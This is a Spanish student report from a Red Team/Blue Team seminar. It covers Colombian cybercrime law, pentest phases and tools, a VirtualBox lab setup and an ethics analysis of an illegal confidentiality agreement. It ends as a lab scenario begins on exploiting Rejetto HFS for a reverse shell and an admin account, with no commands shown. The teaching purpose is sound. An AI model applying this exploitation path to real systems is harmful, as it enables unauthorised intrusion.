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RESUMEN

En el presente documento se encontrara un informe detallado de las tematicas
vistas a lo largo del seminario especializado, Equipos estratégicos de Seguridad
Red Team & Blue Team el cual ha sido dividido en 4 fases diferentes cada una
enfocada a entender aspectos importantes a la hora de ejercer en campos de
ciberseguridad, por ende este informe tratara teméticas relacionadas con las leyes
informaticas colombianas que regulan la seguridad informatica y los delitos
informaticos, analisis de actuaciones éticas segun la ley 1273 de 2009, pruebas de
vulneracion ejecutadas por un equipo Red Team el cual busca identificar por que ha
sido vulnerada una organizacion recreando los posibles hechos de un
ciberdelincuente, actuaciones de contencién de un equipo Blue Team ante las
situaciones presentadas en el ejercicio Red Team, recomendaciones de seguridad
y buenas précticas.

Antes de continuar en el desarrollo del informe es importante tener en cuenta que
la ciberseguridad es un factor importante en cualquier organizacion y que una buena
implementacion de esta ayudara a las empresas a no presentar fallas de seguridad
y mantener sus activos a salvo. Por ello es importante el uso de los equipos Blue
Team y Red Team que trabajan de forma conjunta para contribuir con el desarrollo
de la seguridad de la empresa, mitigacion de riesgos y vulnerabilidades.
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GLOSARIO

AMENAZA: Aprovechamiento de las vulnerabilidades para vulnerar un sistema.

ATAQUE: Utilizacibn de una amenaza para ejecutar un ataque y vulnerar un
sistema

BLUE TEAM: Equipo defensivo de ciberseguridad de una organizacion.

CIBERSEGURIDAD: Es el area encargada de velar por la seguridad de los
sistemas informéticos de una organizacion.

NMAP: Herramienta para realizar analisis de red, esta permite detectar puertos
abiertos e incluso conocer detalles a nivel técnico de equipo escaneado.

RED TEAM: Equipo ofensivo de ciberseguridad de una organizacion.

VULNERABILIDAD: Fallas en los sistemas que pueden ser aprovechados por las
amenazas.



INTRODUCCION

Dado el aumento de ataque ciberneticos, ha surgido la necesidad de implementar
nuevas estrategias de seguridad por ello se crearon los equipos de ciberseguridad
gue ayudan a contribuir de forma positiva la seguridad de las organizaciones, estos
equipos son conocidos como Blue Team, el cual esta encargado del esquema
defensivo de la organizacion, controlando todo tipo de comportamiento inusual,
analisis de trafico, herramientas de escaneo, entre otras. Por otra parte, tenemos el
equipo Red Team que se encarga de la seguridad ofensiva de una organizacion,
poniendo a prueba los esquemas de seguridad, controles y aplicaciones es
importante entender que este equipo realiza un trabajo complementario con el Blue
Team.

En el seminario especializado se puede apreciar el tratamiento de diferentes
tematicas que estan relacionadas directamente con la seguridad informéatica, pues
para ejercer adecuadamente en este campo se debe tener pleno conocimiento de
las leyes y normas vigentes en cada pais relacionadas con la seguridad informatica,
para este caso en particular se baso el estudio y planteamientos con las normas
colombianas en seguridad informética, adicional a ello se plantearon campos reales
de intrusibn a un sistema utilizando herramientas como Nmap y Metasploit
ejecutado por un equipo Red Team, por ultimo y para complementar la fase anterior
vista se investigan acerca de metodologias que permitan contener los ataques
vistos en las fases anteriores papel que llevaria a cabo un equipo Blue Team en una
organizacion.



1 OBJETIVOS

1.1 OBJETIVOS GENERAL

Documentar los resultados obtenidos a lo largo del seminario especializado Equipos
Estratégicos en Ciberseguridad: Red Team & Blue Team

1.2 OBJETIVOS ESPECIFICOS

e Conocer las leyes y normas colombianas que abarcan la seguridad
informatica.

e Construir el banco de trabajo para el desarrollo de cada fase.

e |dentificar los aspectos éticos y legales que pueden estar presentes en un
contrato laboral.

e Recrear en un ambiente controlado la vulneracién de un sistema por medio
del equipo Red Team para detectar como se present6 esta vulneracion.

e Establecer métodos de seguridad por parte del equipo Blue Team para evitar
posibles fallas futuras relacionadas con la vulneracion anterior.



2 DESARROLLO DEL INFORME

2.1 DESARROLLO FASE 1

The Whitehouse Security requiere previamente una instalacion de un banco de
trabajo con el cual el personal postulado a hacer parte de la organizacion debera
utilizar en una serie de escenarios y problemas complejos al interior de The
WhiteHouse Security. ElI banco de trabajo debe estar basado en herramientas
software Opensource, la recursividad sera vital en este proceso.

De manera simultanea The WhiteHouse security requiere conocer por medio de una
serie de preguntas orientadoras el estado inicial o base del conocimiento de los
aspirantes en cuanto a temas de Ciberseguridad, al resolver estas preguntas la
organizacion podra tener una perspectiva global de sus futuros empleados.

2.1.1 DENTRO DEL MARGEN LEGAL EN COLOMBIA SOBRE DELITOS
INFORMATICOS Y PROTECCION DE DATOS PERSONALES REDACTE
CON SUS PROPIAS PALABRAS QUE LEGISLACION “LEYES,
DECRETOS” EXISTEN ACTUALMENTE Y LAS CARACTERISTICAS
PRINCIPALES DE CADA LEY.

Colombia es un pais que en materia de ciberseguridad y delitos relacionados con la
informatica ha ido implementado leyes y normativas que permitan sancionar y
controlar todos estos tipos de incidentes sin embargo en mi criterio personal
considero que debe mejorar aln mas en este punto pues el aumento de delitos
informaticos ha sido considerable en los ultimos afios.

Las normas, decretos y leyes que existen en Colombia relacionadas con ciber
seguridad y delitos informaticos son las siguientes:

Ley 527 de 1999

Fue expedida en Colombia el 18 de agosto del afio 1999, alli se definen reglamentos
de acceso y el método de uso de los mensajes de datos, comercio electronico y
firmas digitales. También marcan las entidades de certificacion entre otras
disposiciones. Es importante recalcar que esta ley es aplicable a todo tipo de
informacion encapsulado como mensaje de datos, exceptuando obligaciones
contraidas por el Estado Colombiano y las advertencias escritas que por solicitud
legal deban ir impresas.
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Ley 962 de 2005.

Fue expedida en Colombia el 8 de julio de 2005, alli se establecen disposiciones
relacionadas con los tramites y procedimientos administrativos de los organismos y
entidades del estado junto con las organizaciones que cooperan con Servicios
publicos.

Ley 1273 de 2009

Fue expedida en Colombia el 5 de enero de 2009, en esta se modifica el cédigo
penal, creando un nuevo bien juridico dirigido a la proteccion de la informacion y de
los datos, tipificando los diferentes tipos de delitos informaticos contemplados en la
ley, sus sanciones econémicas y penales. !

Esta compuesta por los siguientes articulos:

e Articulo 269A Acceso abusivo a un sistema informético.

e Articulo 269B Obstaculizacion ilegitima de un sistema informético

e Articulo 269C Interceptacion de datos informaticos

e Articulo 269D Dafio informético

e Articulo 269E Uso de software malicioso

e Articulo 269F Violacion de datos personales.

e Articulo 269G Suplantacion de sitios web para capturar datos personales
e Articulo 269H Circunstancias de agravacion punitiva

e Articulo 269l Hurto por medios informaticos

e Articulo 269J Transferencia no consentida de activos.

Ley 1341 de 2009

Fue expedida en Colombia el 30 de julio de 2009, se definen principios y conceptos
sobre la sociedad de la informacién y la organizacién de las tecnologias de
informacién y comunicaciones TIC. ?

1 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273. (enero 5 de 2009). Por medio de la cual
se modifica el Cadigo Penal, se crea un nuevo bien juridico tutelado denominado de la proteccion de
la informacion y de los datos y se preservan integralmente los sistemas que utilicen las tecnologias
de la informacion y las comunicaciones, entre otras disposiciones. En: Diario Oficial. Enero, 2009
Nro. 47.223.p.p. 14-25.

2 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1341 (Julio 30 de 2009). Por la cual se definen
principios y conceptos sobre la sociedad de la informacion y la organizacion de las Tecnologias de
la Informaciéon y las Comunicaciones —TIC—, se crea la Agencia Nacional de Espectro y se dictan
otras disposiciones. En: Diario Oficial. Julio, 2009. Nro. 47.426.
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Ley 1581 de octubre 17 de 2012

Fue expedida en Colombia el 17 de octubre de 2012, por la cual se dictan
obligaciones generales para la proteccion de datos personales. Donde su principal
objetivo es desarrollar el derecho constitucional que tienen las personas de conocer,
actualizar y rectificar la informacion que se hayan recogido sobre ellas en bases de
datos o archivos.

Documento CONPES 3701 de 2011

El CONPES tiene como objetivo presentarle al gobierno nacional, politicas,
programas, estrategias y proyectos, enfocados en el desarrollo econémico y social
del pais. ElI documento 3701 de 2011 expedido por el CONPES habla de los
“Lineamientos De Politica Para Ciberseguridad Y Ciberdefensa”; el problema se
centra en la capacidad actual del Estado para enfrentar las amenazas cibernéticas.
Donde se detectan debilidades y no existe una estrategia nacional al respecto. A
partir de ello se establecen las causas y efectos que permitiran desarrollar politicas
de prevencioén y control, ante el incremento de amenazas informéticas. 3

Ley 842 de octubre 9 de 2003 de COPNIA
Por la cual se modifica la reglamentacion del ejercicio de la ingenieria, de sus

profesiones afines y de sus profesiones auxiliares, se adopta el Codigo de Etica
Profesional y se dictan otras disposiciones.

3 COLOMBIA. DEPARTAMENTO NACIONAL DE PLANEACION. Consejo Nacional de Politica
Econdmica y Social-CONPES 3701. Bogota D.C: Departamento Nacional De Planeacion, 2011
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2.1.2 DEFINIR CADA UNA DE LAS ETAPAS DEL PENTESTING, DENTRO DE
LA DEFINICION INCORPORARA UN EJEMPLO DE UNA HERRAMIENTA
QUE SE UTILICE PARA CADA UNA DE LAS ETAPAS DEL PENTESTING.

Existen tres tipos de pentesting que pueden realizar:

» Pentesting de caja blanca: El pentester o auditor conoce toda la informacion
de la empresa, por tal motivo realiza un analisis completo de la estructura
informatica identificando los sistemas que pueden ser modificados o
mejorados segun la infraestructura tecnolégica.

» Pentesting de caja negra: Este simula un ambiente real donde el pentester
no conoce ningun tipo de informacion de la empresa y su intencion es actuar
como un ciberdelincuente para intentar detectar vulnerabilidades vy
amenazas.

» Pentesting de caja gris: Es una mezcla de las dos fases anteriores, el
pentester conoce un minimo de informacion de la empresa y desde alli parte
para realizar el test.

Para realizar estas fases el pentester debe seguir ciertas etapas que aseguren que
el examen realizado cumple con los requerimientos de la organizacién, estas fases
son las siguientes:

v" Recogida de informacion: Se evalla la informacion que tiene de la empresa
y el tipo de pentesting a realizar para determinar como efectuar el test.
Dependiendo del tipo de test, se pueden emplear diferentes herramientas, en
el caso de no tener acceso a la informacién de la empresa existen
herramientas como Dig, DnsRecon, Maltego, Pastenum. Para los casos
donde se tiene acceso a la informacién de la empresa existen herramientas
como Metasploit y Snmpwalk.

v" Andlisis de vulnerabilidades y amenazas: Realizar pruebas para verificar las
vulnerabilidades del sistema, posibles fugas de informacion, amenazas
potenciales, todo esto teniendo en cuenta también el factor humano y sus
fallos. Para esta fase se pueden utilizar herramientas como Nessus, Burp
suite, Nmap.

v' Acceso al sistema: Al analizar la informacién obtenida, se establecen que
tipos de ataque se ejecutaran y el objetivo de los mismos. Para esta fase se
utilizan herramientas como Metasploit para aprovechar las vulnerabilidades
detectadas.

13



v Elaboracion del informe: Alli se debe evidenciar al alcance de los fallos de
seguridad detectados, impacto que podrian tener, por ultimo, debe incluir
recomendaciones para mitigar estas fallas y mejoras de medidas de
seguridad. Para esta fase existe una herramienta llamada PWNDoc
desarrollada en Node.js la cual permite agilizar el desarrollo de los informes.

2.1.3 DEFINIRY EXPLICAR LAS SIGUIENTES HERRAMIENTAS Y SERVICIOS
EN LINEA.

Metasploit

Es una herramienta desarrollada en Perl y Ruby, esta enfocada en auditorias de
seguridad, sin embargo, también ha sido utilizada con fines maliciosos por
cibercriminales, esta herramienta tiene muchos exploits, los cuales se aprovechan
de vulnerabilidades conocidas, con unos mdédulos conocidos como payloads donde
esta el codigo que explota vulnerabilidades. También dispone de otros modulos
conocidos como encoders el cual contiene codigo para evadir un antivirus o
sistemas de seguridad. Adicionalmente permite interactuar con otras herramientas
externas como son Nmap.

llustracion 1 M6dulos Metasploit

LIBRARIES - INTERFACES

Rex f Console

[

MSF
Core

CLI

MSF

Ba_sc

PLUGINS

MODULES

Payloads Exploits Encoders Nops

Fuente: https://www.pchardwarepro.com/que-es-metasploit-y-como-utilizarlo-correctamente/
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Nmap

Esta es una herramienta de codigo abierto para explorar la red y realizar auditorias
de seguridad, esta herramienta utiliza paquetes IP para determinar que equipos se
encuentran disponibles en una red. Gracias a esta herramienta se puede determinar
los servicios como son nombre y versién de la aplicacion, sistemas operativos, tipos
de cortafuegos que se estan ejecutando.

La base de Nmap es el analisis de puertos, pero también cuenta con otras
capacidades como:

e Mapeo de red
e Deteccion de SO
e Descubrimiento de servicios
e Auditorias de seguridad
llustracion 2 Nmap
e
N B < B
W3t | - \ N\ 4 3
{ . /
. ‘AR | } .;I‘,‘d,
Fuente: https://paraisolinux.com/que-es-y-como-usar-nmap/
OpenVas

Es una herramienta de andlisis de vulnerabilidades que puede detectar diferentes
tipos de problemas ya sean de bajo riesgo para usuarios, como también
vulnerabilidades mas graves en equipos de red. Esta cuenta con mas de 50.000 test
y datos de vulnerabilidades conocidas. Esta herramienta surge después de que
Nessus cambiara su modelo de cédigo abierto a un modelo de negocio.

Esta herramienta tiene diversas funciones como son:

Pruebas autenticadas

Pruebas no autenticadas

Protocolos industriales y de internet

Ajustes personalizados

Desarrollo de un potente lenguaje de programacion interno
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llustracion 3 OpenVas

OpenVAS by Greenbone

. . Open Vulnerability Assessment Scanner

Fuente: https://www.openvas.org/

ExploitDB

Existe un repositorio de Exploit Database en Github donde se encuentra
searchsploit, la cual es una herramienta de busqueda de linea de comandos para
realizar Explot DB, esta herramienta también permite realizar busquedas detalladas
fuera de linea.

CVE

Las fallas y puntos de vulnerabilidades comunes, conforman una lista de fallas de
seguridad informética estas se encuentran disponible al publico, estas fallas
cuentan con un numero de identificacion. Los CVE permiten a los especialistas
coordinar estrategias y priorizar soluciones a los puntos vulnerables.

Este sistema funciona por medio de la corporacion MITRE que se encarga de
supervisar las CVE financiado por la agencia de seguridad de ciberseguridad e
infraestructura, del departamento de seguridad nacional de estados unidos.

Para que una falla se califique como CVE debe cumplir los siguientes criterios:

e Se puede solucionar de forma independiente.

e El proveedor afectado las confirma y las documenta.
e Afectan una base del codigo.
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2.1.4 ANALICE Y CONFIGURE “BANCO DE TRABAJO”

Paso A: Descargar virtual Box

Para descargar

virtual Box se debe acceder a su

pagina oficial

https://www.virtualbox.org/wiki/Downloads y seleccionar el SO correspondiente
donde se instalara el programa.

llustracion 4 VirtualBox

[l Descargas - Oracle VM Virtualbe X
& C' @ virtualbox.org/wiki/Downloads

3 Aplicaciones M Gmail @B YouTube @ Maps BB Iniciarsesion en Ou.. «# Postald: Entrar alsitio = Master en Python 3.

Desgfigar \IHaQo!( B ox

Aqui encontrara enlaces a los binarlos de VirtualBox y su codigo fuente.

. udemy

Acerca de las Binarios de VirtualBox

capturas de pantalla | Al descargar, acepta los términos y condiciones de Ia licencia respectiva.

Descargas Si esta buscando los dltimos paguetes de VirtualBox 6.0, consulte las compilaciones de VirtualBox 6.0 . |

Documentacién Documenf3Ware, ya que se suspendia en 6.1. La version 6.0 seguira siende compatible hasta julio de 2020.

del usuario final D"““‘ﬁ“f"g buscando los dltimos paquetes de VirtualBox 5.2, consulte las compilaciones de VirtualBox 5.2 . |
ha descontinuado en 6.0. La versién 5.2 seguird siendo compatible hasta julio de 2020.

técnicos
Contribuir Paquetes de plataforma VirtualBox 6.1.26
Comunidad Hosts de Windows

« (*Hosts de OS X

« Distribuciones de Linux

s *Hosts de Solaris

* *Hosts de Solaris 11 IPS

Fuente: Propia

Paso B: Montaje de las maquinas en virtual Box

Se utiliza la maquina virtual Box, donde se crea una nueva maquina, se asigna el
nombre y el sistema operativo.

¥ Oracle VM Vir

llustracion 5 Nueva Maquina VistualBox

] x
Ma I
. P ? %
o
j Herramientas WA
onfigure Crear maquina virtual
™= General
Nombre: Nombre y sistema operativo
Sistema operative N
Seleccione un nombre descriptiva y una carpeta destino para la nueva maquina virtual y
(1] sistema seleccione el tipo de sistema operativo que tiene intencién de instalar en ella. EI nombre

que seleccione serd usado por VirtualBox para identificar esta maquina.
Memoria base:

Procesadores: Nombre: [MV_WINFX32_MIGUEL_LEVA
Orden de arranq )
Aceleracion Carpeta de méquina: | | C:\Users\Miguel LeivalVirtualBox VMs
Tipo: | Microsoft Windows -~ Vl.
7
M pantalla Versin: | Windows 7 (32-bit)

Memoria de videc
Controlador grafis
Servidor de escrif
Grabacion;
[&) Amacenan Modo experto Next Cancelar
Controlador: IDE .
IDE primario maestro:  MV_KALL MIGUEL_LEIVA_13.vdi (Normal, 150,00 GB)
IDE primario esclave:  [Unidad 6ptica] Vacio

Fuente: Propia
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Se asigna el tamafio en memoria que para todas las maquinas sera igual 2048 MB

llustraciéon 6 Tamafio de memoria VirtualBox

& Crear maguina virtual

Tamafno de memoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser reservada para la
maquina virtual.

El tamafio de memoria recomendado es 1024 MB.

v s %] e

4 MB 16384 MB

Fuente: Propia

Se crea un disco virtual

llustracion 7 Disco Virtual

€ Crear maquina virtual

Disco duro

Si desea puede afiadir un disco duro virtual a la nueva maquina. Puede crear un nuevo
archivo de disco duro o seleccionar uno de la lista o de otra ubicacidn usando el icono
de la carpeta.

. Si necesita una configuracidn de almacenamiento mads compleja puede omitir este
paso y hacer los cambios a las preferencias de la maquina virtual una vez creada.

El tamafio recomendado del disco duro es 32,00 GB.
() Mo afiadir un disco duro virtual

(@ Crear un disco duro virtual ahora

() usar un archivo de disco duro virtual existente

MV_KALT MIGUEL_LEIVA_13.vdi (Normal, 150,00 GB)

Crear Cancelar

Fuente: Propia
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Se reserva el tamarfio del disco dinamicamente.
llustraciéon 8 Tamarfio de Disco
& Crear de disco duro virtual

Almacenamiento en unidad de disco duro fisica

Seleccione si el nueve archive de unidad de disco duro virtual deberfa crecer segin se use
(reserva dinamica) o si deberia ser creado con su tamafio maximo (tamafio fijo).

Un archive de disco duro reservado dinamicamente solo usard espacio en su disco fisico a
medida que se llena (hasta un maximo tamafio fijo), sin embargo no se reducird de nuevo
automdticamente cuando el espacio en él se libere.

Un archivo de disco duro de tamafio fijo puede tomar mas tiempo para su creacién en algunos
sisternas, pero normalmente es mds répido al usarlo.

(@ Reservado dindmicamente

() Tamafio fijo

Fuente: Propia

Se selecciona el tamarfio del disco.

llustracion 9 Memoria del disco

€ Crear de disco duro virtual

Ubicacion del archivo y tamafio

Escriba el nombre del archivo de unidad de disco duro virtual en el campo debajo o haga clic en el
icono de carpeta para seleccionar una carpeta diferente donde crear el archivo.

|S\M|gue\ Leiva\VirtualBox VMS\MV_WIN7X32_MIGUEL_LEIVA\MV_WIN7X32_MIGUEL_LEIVA.Vd\‘ ,(:)

Seleccione el tamarfio de disco duro virtual en megabytes. Este tamario es el limite para el archivo
de datos que una méquina virtual podréd almacenar en el disco duro.

v

4,00 MB 2,00TB

Crear Cancelar

Fuente: Propia
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Dado que se generaron los servicios de virtualizacion de los 3 sistemas operativos,
solo se deben importar dichos sistemas.

llustracion 10 Importacién imagenes de trabajo

Importar servicio virtualizado

Preferencias de servicio

Estas son las maquinas virtuales contenidas en el servicio y las preferencias sugeridas de las maquinas virtuales importadas de
VirtualBox. Puede cambiar varias de las propiedades mostradas haciendo doble clic en los elemenos y deshabilitar otras usande las
casillas de verificaidn de abajo.

Sistema virtual 1/ §¢ Importando servicio virtualizado ..: Importing appliance 'C:/Users.. ~
%¢ Nombre
& Tipode § Importing virtual disk image 'Kali - Seminario-diskoo1.vmdk' ... (2/2)

{l cru | 5% X
; RAM Tiempo restante: 5 minutos

(' Controla

{1 Tarjeta de sonido [T ACaT

-" Adaptador de red [“intel PRO/1000 MT Desktop (82540EM) v
Carpeta base de maquina: | C:\Users\Miguel Leiva\VirtualBox VMs v
Politica de direccién MAC: | Incluir solo las direcciones NAT de adaptador de red -

Opciones adicionales: Importar discos como VDI

Servicio virtualizado no firmado

Restaurar valores predeterminados Impartar Cancelar

Fuente: Propia

2.1.5 Paso C: Validar que exista comunicacion entre cada una de las maquinas
Windows con la maquina de Kali Linux.

Ping de la maquina Windowsx64 a la maquina Windowsx32

llustracion 11 Ping WIN x64 a x32

g=

Panel de control

‘;:“

Papelera de usuario;
reciclaje

apr
Minino = 1im

o @lm]

Fuente: Propia
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Ping de maquina con Kali Linux a maquina Windowsx32

llustracion 12 Ping Kali a Winx32

E] MV_KALI_MIGUEL_LEIVA_13 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

iquel: ~

miguel@miguel: ~
Ayuda

Papelera

, time 3015ms

Fuente: Propia

Ping de maquina con Kali Linux a maquina Windowsx64

llustracion 13 Ping Kali a Winx64

miguel@miguel: ~

Archivo Acciones Editar Vista Ayuda

L

icmp_
from 192.168.1.144: icmp_
1,144 icmp_

192.168.1.144 ping s

3 packets transmitted,

Fuente: Propia
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2.1.6 Paso D: Evidenciar con printscreen el montaje del banco de trabajo

llustracion 14 Banco de Trabajo

§# Oracle VM VirtualBox Administrador — m] X
Archivo Maquina Ayuda
My N
[« _
100 Herramientas G-\wrs' g l_(/ -
[
B Nueva Configuracion Descartar Iniciar
ESI Seg. DB M general B previsualizacion
Nombre: Kali - Seminario
64 Win7-SE2020-X64 Sistema operativo: Debian (64-bit)
(@) ~pagada | B Sistema
Memoria base: 2048 MB - - -
&4 MV_KALL_MIGUEL_LEIVA_13 Orden de arranque: Optica, Disco duro Kali - Seminario
(') Apagada Aceleracidn: VT-x/AMD-V, Paginacin’n_
= anidada, Paravirtualizacidn
KvM
‘.'. MV_WIN7X32_MIGUEL_LEIVA
‘7] () Apagada
Bl rantalla
% win7-SE2020 ger:ur‘\adde vl'di_u: \lfg MSGA
e ontrolador gréfico: 0x!
© Apagada Servidor de escritorio remoto: Inhabilitado
Grabacion: Inhabilitado
£ Kali - Seminario jo— ¢! Almacenamiento
7 p
< Controlador: IDE
Controlador: SATA
Puerto SATA 0: Kali - Seminario-disk001.vdi (Mormal, 50,00 GB)

Fuente: Propia

2.2 DESARROLLO FASE 2

La organizacion WhiteHouse Security es una organizacion con reconocimiento a
nivel mundial por asesorar a grandes Gobiernos en procesos de ciberseguridad y
ciberdefensa logrando posicionarse como la organizacion mas importante en el
campo de la seguridad informatica a nivel mundial, la organizacion ha decidido que
es hora de conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizacion WhiteHouse Security hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue
elaborado por un abogado que ya no labora con la organizacion y fue despedido por
encontrar algunos procesos ilicitos. La alta gerencia no reviso los contratos con los
que se reclutara el nuevo personal, por ende, los contratos son entregados sin
modificacion alguna; ante este evento la gerencia solicita tener suma precaucion
antes de firmar el contrato y acuerdos de confidencialidad estipulados para el fin de
contratacion de personal, sin embargo la organizacién aprovecha una serie de
problemas que ha identificado en su interior y como prueba de admision al equipo
Red team y Blue team deciden clasificar una primera mision a la cual deberian dar
respuesta en poco tiempo y trabajar bajo presion “caracteristica” de estos equipos.
También debera proyectar la instalacion de dos maquinas virtuales por medio de
virtualbox para poder ejecutar las sesiones de pruebas en las actividades
posteriores.
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2.2.1 ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 - Acuerdo usted
logra evidenciar algun proceso ilegal y no ético que se esté estipulando
en dicho acuerdo?

Se logra evidenciar en el acuerdo clausulas que estan fuera del marco de ley. En
varios apartados de estas clausulas se menciona que el receptor en este caso el
estudiante esta en la obligacién de mantener confidencialidad con la informacién
tratada incluso si esta proviene de procesos ilegales como lo son chuzadas,
interceptacion de informacién y accesos abusivos a un sistema informatico,
teniendo en cuenta esto el estudiante estaria infringiendo la ley ser consciente de la
forma ilegal en la que se obtiene la informacién y de mantener el silencio de lo
mismo, en el codigo penal de Colombia se menciona este comportamiento como un
delito de encubrimiento segun el articulo 446 del cddigo penal colombiano.
Adicionalmente también se evidencia como en las clausulas la empresa busca
limitar su responsabilidad y obliga al receptor a aceptar la culpa en caso de que se
le encuentre algun tipo de informacion ilicita por parte de las autoridades
competentes.

En resumen, estas clausulas comprometen negativamente al estudiante, que decida
participar en esta organizacion.

Como acuerdos ilegales se encontraron las siguientes clausulas:

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados.

Segunda. Definicién de informacién confidencial

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion de informacion, accesos abusivos a sistemas informaticos”.

Cuarta. Obligaciones de la parte receptora:

3. No denunciar ante las autoridades actividades sospechosas de espionaje 0

cualquier otro proceso en el cual intervenga la apropiacion de informacion de
terceros.
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4. Abstenerse de denunciar y publicar la informacion confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

7. Responder por el mal uso que le den sus representantes a la informacion
confidencial.

8. Responder ante las autoridades competentes como responsable en caso de que
la informacién se encuentre en su poder dentro de un proceso de allanamiento.

9. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacién
confidencial o ilegal sin el previo consentimiento por escrito por parte de Whitehouse
Security.

Quinta. Obligaciones de la parte reveladora:

Octava. Solucién de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucién de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso que la informacion ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado privado y dejar
exenta de cualquier responsabilidad legal y penal a Whitehouse Security.

Que articulos de laley 1273 se podrian vulnerar en dicho acuerdo y especificar
porqué vulnera articulos de la ley 1273.
La ley 1273 de 2009 contempla la proteccion de la informacién y de los datos, para
asi tipificar los delitos informaticos, sus sanciones y condenas penales. Segun el
acuerdo a firmar y la ley colombiana se considera que este acuerdo vulnera los
siguientes articulos de la ley 1273 de 2009:

e Articulo 269A: Acceso abusivo a un sistema informético.

e Articulo 269C: Interceptacion de datos informaticos.

e Articulo 269E: Uso de software malicioso.

e Articulo 269F: Violacion de datos personales.
Los articulos 2692, 269C y 269E se pueden considerar como violentados en el

acuerdo pues en este habla que la informacion confidencial puede ser obtenida de
diferentes formas entre ellas esta el uso de métodos ilegales como lo son el acceso
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abusivo a un sistema informatico, interceptacion de datos informaticos y el uso de
software malicioso para acceder a los sistemas y extraer la informacion, al cumplirse
la violacion de uno de los articulos anteriormente mencionados inmediatamente se
esta violentando el articulo 269F pues se estd accediendo a informacién personal
por medio de métodos ilegales que violan sus derechos.

2.2.2 ¢Existiendo procesos poco confiables en el anexo 3 — Acuerdo? usted
como experto en ciberseguridad aplicaria a este trabajo en The
WhiteHouse, donde la organizacion dispone de un sueldo de
$15.000.000 de pesos colombianos mensuales y contrato vitalicio.

Como experto de ciberseguridad no aceptaria este trabajo, puesto que el acuerdo
infringe las leyes colombianas como se menciona en los anteriores puntos viola
diferentes articulos de la ley 1273 de 2009 y adicionalmente se sale del marco de
los acuerdos de ética para el ejercicio de la ingenieria en Colombia ley 842 de 2003,
donde el incumplimiento a alguno de estos articulos puede conllevar en sanciones
como amonestacion escrita, suspension de la matricula profesional y cancelacion
de la matricula profesional. En este acuerdo en el articulo 31 se habla de los deberes
generales de los profesionales donde se menciona que se deben denunciar los
delitos, contravenciones y faltas al codigo como lo seria en el caso del acuerdo
establecido con la empresa WhiteHouse. También se encuentran en el articulo 32
las prohibiciones para los profesionales donde no es permitido tolerar o facilitar el
ejercicio ilegal de alguna actividad, como se puede apreciar el cédigo de ética
COPNIA regula el comportamiento que debe de seguir un profesional en el marco
de la ingenieria y este comportamiento se veria afectado por el planteamiento ilegal
en los acuerdos ofrecidos por la empresa.
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2.2.3 Debera buscar la noticia del caso “OPERACION ANDROMEDA
BUGGLY” en la ciudad de Bogota, y redactar su punto de vista teniendo
en cuenta las implicaciones legales y éticas que alli se pudieron
generar.

La operacion Andromeda buggly que al parecer fue creada con fines legales para
obtener informacién de procesos de ciberseguridad, perdié su rumbo pues segun
testigos esta operacion desvid sus principales objetivos para la extraccion de
informacion de forma irregular utilizando esta informacion extraida con fines de
lucro. Aun que el ejército argumento que esto fue ejecutado por los civiles que
asistian alli y que su falla radicaba en no poder controlar lo que estas personas
realizaban en los laboratorios que se llevaban a cabo en estas instalaciones, no
obstante, existen testimonios y pruebas que demuestran lo contrario y revelan una
participacion del personal militar en estas actividades ilicitas.

Teniendo en cuenta lo anterior se puede hablar de una violacién a los siguientes
articulos de laley 1273 de 2009:

Articulo 269A: Acceso abusivo a un sistema informatico.
Articulo 269C: Interceptacién de datos informaticos.
Articulo 269E: Uso de software malicioso

Articulo 269F: Violacién de datos personales.

Segun la informacién obtenida en la investigacion, parece ser que esta fachada
realizo interceptacion de datos informaticos violando asi los datos personales de
varias personas donde se encuentran objetivos como el ELN y la guerrilla, esto se
presenta por medio del uso de software malicioso el cual capturaba la informacion
que se digitaba en los equipos, tomaba capturas de pantalla y registraba el trafico
de red para posteriormente enviar esta informacion al mismo sitio donde se alojaba
la Web de buggly.
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2.3 DESARROLLO FASE 3
Situacion problema: Anélisis Red team

La primera mision del equipo Red team es lograr identificar porqué medio 0 proceso
se estd generando una serie de fuga de informacion la cual se presenta al interior
de la organizacion en uno de sus equipos de computo en la dependencia. La
informacion inicial con la que cuenta el equipo es que la maquina donde se esta
generando la fuga de informacion tiene instalada una aplicacion llamada rejetto v2.3.
bajo un windows 7 con arquitectura X64; esta aplicacion al parecer tiene asociado
un exploit que puede terminar en una Shell reversa y una sesion abierta de
meterpreter. Dentro de la investigacion también se investiga un escalamiento de
privilegios por medio de la creacién de un usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si esté es explotada debe
crear un usuario con su primer nombre y primer apellido, el usuario debe ser
administrador esto con el fin de demostrar una PoC ante los altos directivos.

2.3.1 Describa las herramientas software que utilizd para llevar a cabo el
anexo 4 — escenario 3 enfocado a Redteam. Debera adjuntar evidencia
de los comandos utilizados y resultados que arroj6 cada herramienta
utilizada, estas herramientas deben estar clasificadas segun los pasos
de un pentesting.

Las herramientas utilizadas para el desarrollo de la actividad fueron Nmap y
Metasploit a continuacién se dard una explicacién de la utilidad que tienen estas
herramientas.

Nmap — fase de Anédlisis de vulnerabilidades y amenazas

Esta es una herramienta de cédigo abierto para explorar la red y realizar auditorias
